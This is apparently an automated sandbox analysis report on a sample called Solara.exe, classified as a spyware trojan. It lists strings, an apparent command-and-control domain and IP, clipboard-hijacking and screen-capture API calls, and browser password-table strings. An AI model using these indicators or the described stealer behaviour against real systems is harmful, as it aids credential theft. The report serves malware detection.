Source: Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Solara.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Solara.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Solara.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: Solara.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Solara.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Solara.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: Solara.exe, 00000002.00000002.2898617643.00000000054D0000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1694613062.0000000002D4E000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1694562958.0000000002D70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: Solara.exe, 00000002.00000003.1831492202.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000002.2898260079.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/D
Source: Solara.exe, 00000002.00000003.1768028999.0000000002DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/Z
Source: Solara.exe, 00000002.00000003.1831492202.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000002.2898260079.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000002.2898276489.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2456473541.0000000002DE4000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1694562958.0000000002D70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: Solara.exe, 00000002.00000003.1792136717.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1806487513.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831530096.0000000002D70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api0u0u
Source: Solara.exe, 00000002.00000003.1831492202.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiB&
Source: Solara.exe, 00000002.00000003.1694562958.0000000002D5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiza2
Source: Solara.exe, 00000002.00000002.2898260079.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ndows
Source: Solara.exe, 00000002.00000002.2898260079.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/s
Source: Solara.exe, 00000002.00000002.2897998714.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2454619814.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: Solara.exe, 00000002.00000002.2897998714.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1792136717.0000000002D5A000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1806487513.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2454619814.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831530096.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apiE_
Source: Solara.exe, 00000002.00000002.2897998714.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1806487513.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2454619814.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831530096.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apiRd
Source: Solara.exe, 00000002.00000003.1695603213.0000000005564000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Solara.exe, 00000002.00000003.1742435372.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Solara.exe, 00000002.00000003.1742435372.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Solara.exe, 00000002.00000003.1695669550.0000000005516000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695603213.0000000005562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Solara.exe, 00000002.00000003.1695669550.00000000054F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Solara.exe, 00000002.00000003.1695669550.0000000005516000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695603213.0000000005562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Solara.exe, 00000002.00000003.1695669550.00000000054F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Solara.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Solara.exe, 00000002.00000003.1742435372.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Solara.exe, 00000002.00000003.1742435372.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Solara.exe, 00000002.00000003.1742435372.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Solara.exe, 00000002.00000003.1742435372.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Solara.exe, 00000002.00000003.1742435372.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: C:\Users\user\Desktop\Solara.exe

Code function: 2_2_004331A0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_004331A0

Source: C:\Users\user\Desktop\Solara.exe

Code function: 2_2_051E1000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

2_2_051E1000

Source: C:\Users\user\Desktop\Solara.exe

Code function: 2_2_004331A0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_004331A0

Source: C:\Users\user\Desktop\Solara.exe

Code function: 2_2_00433C95 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

2_2_00433C95

Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_00201000	0_2_00201000
Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_0020F555	0_2_0020F555
Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_00227792	0_2_00227792
Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_00225C5E	0_2_00225C5E
Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_00219CC0	0_2_00219CC0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_00213FB2	0_2_00213FB2
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00201000	2_2_00201000
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0020F555	2_2_0020F555
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00227792	2_2_00227792
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00225C5E	2_2_00225C5E
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00219CC0	2_2_00219CC0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00213FB2	2_2_00213FB2
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043B030	2_2_0043B030
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043F560	2_2_0043F560
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00420500	2_2_00420500
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00408630	2_2_00408630
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0042B73E	2_2_0042B73E
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0042187F	2_2_0042187F
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00422890	2_2_00422890
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00437A10	2_2_00437A10
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00411BB0	2_2_00411BB0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0040CC00	2_2_0040CC00
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043ECC0	2_2_0043ECC0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00425CD0	2_2_00425CD0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00437D90	2_2_00437D90
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00411059	2_2_00411059
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0040E0F0	2_2_0040E0F0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0041608C	2_2_0041608C
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0041C0A0	2_2_0041C0A0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00421140	2_2_00421140
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00426170	2_2_00426170
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043E100	2_2_0043E100
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_004081C0	2_2_004081C0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_004061D0	2_2_004061D0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0041B1DB	2_2_0041B1DB
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00423180	2_2_00423180
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00434180	2_2_00434180
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00404270	2_2_00404270
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043F220	2_2_0043F220
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00436220	2_2_00436220
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_004372C0	2_2_004372C0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_004092B0	2_2_004092B0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043E2B0	2_2_0043E2B0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0040C30B	2_2_0040C30B
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_004253D0	2_2_004253D0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0041C380	2_2_0041C380
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043E3B0	2_2_0043E3B0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00407430	2_2_00407430
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043849F	2_2_0043849F
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043E4B0	2_2_0043E4B0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_004274B5	2_2_004274B5
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043E540	2_2_0043E540
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043C559	2_2_0043C559
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0041457C	2_2_0041457C
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00423520	2_2_00423520
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00437520	2_2_00437520
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_004185AC	2_2_004185AC
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00409650	2_2_00409650
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00406660	2_2_00406660
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00422672	2_2_00422672
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00423680	2_2_00423680
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00422690	2_2_00422690
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00438730	2_2_00438730
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043B780	2_2_0043B780
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00424789	2_2_00424789
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0041C790	2_2_0041C790
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0040A840	2_2_0040A840
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00411850	2_2_00411850
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_004038C0	2_2_004038C0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0040E8D0	2_2_0040E8D0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_004058E0	2_2_004058E0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0041F8A0	2_2_0041F8A0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0042B9AD	2_2_0042B9AD
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00408A30	2_2_00408A30
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00418AD1	2_2_00418AD1
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00426AB1	2_2_00426AB1
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00417B69	2_2_00417B69
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00418BC2	2_2_00418BC2
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00404BA0	2_2_00404BA0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0041CBB0	2_2_0041CBB0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00415C66	2_2_00415C66
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0040ACD0	2_2_0040ACD0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00427CDD	2_2_00427CDD
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00428CAF	2_2_00428CAF
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00430CB0	2_2_00430CB0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00414D0A	2_2_00414D0A
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00432D30	2_2_00432D30
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00435D3A	2_2_00435D3A
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00418E40	2_2_00418E40
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00419E60	2_2_00419E60
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0041CE00	2_2_0041CE00
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00402EC0	2_2_00402EC0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00413EB0	2_2_00413EB0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043EF50	2_2_0043EF50
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00438F69	2_2_00438F69
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00416F02	2_2_00416F02
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0042EF15	2_2_0042EF15
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0041DF20	2_2_0041DF20
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00432FD0	2_2_00432FD0

Source: C:\Users\user\Desktop\Solara.exe	Code function: String function: 00413EA0 appears 73 times
Source: C:\Users\user\Desktop\Solara.exe	Code function: String function: 00210730 appears 38 times
Source: C:\Users\user\Desktop\Solara.exe	Code function: String function: 00407FC0 appears 44 times
Source: C:\Users\user\Desktop\Solara.exe	Code function: String function: 0021CFD6 appears 40 times
Source: C:\Users\user\Desktop\Solara.exe	Code function: String function: 0020FA60 appears 100 times
Source: C:\Users\user\Desktop\Solara.exe	Code function: String function: 0020FAE4 appears 34 times
Source: C:\Users\user\Desktop\Solara.exe	Code function: String function: 002180F8 appears 42 times

Source: Solara.exe

Static PE information: invalid certificate

Source: Solara.exe, 00000000.00000002.1647778505.0000000005148000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Solara.exe
Source: Solara.exe, 00000000.00000000.1639690706.000000000028D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Solara.exe
Source: Solara.exe, 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Solara.exe
Source: Solara.exe, 00000002.00000003.1647302941.00000000047C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Solara.exe
Source: Solara.exe	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Solara.exe

Source: Solara.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Solara.exe

Static PE information: Section: .bss ZLIB complexity 1.0003326570404723

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/1@1/1

Source: C:\Users\user\Desktop\Solara.exe

Code function: 2_2_00437D90 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00437D90

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7564:120:WilError_03

Source: Solara.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Solara.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Solara.exe, 00000002.00000003.1719096512.00000000054D7000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695341971.00000000054F5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\Solara.exe

File read: C:\Users\user\Desktop\Solara.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Solara.exe "C:\Users\user\Desktop\Solara.exe"
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Users\user\Desktop\Solara.exe "C:\Users\user\Desktop\Solara.exe"
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Users\user\Desktop\Solara.exe "C:\Users\user\Desktop\Solara.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Solara.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
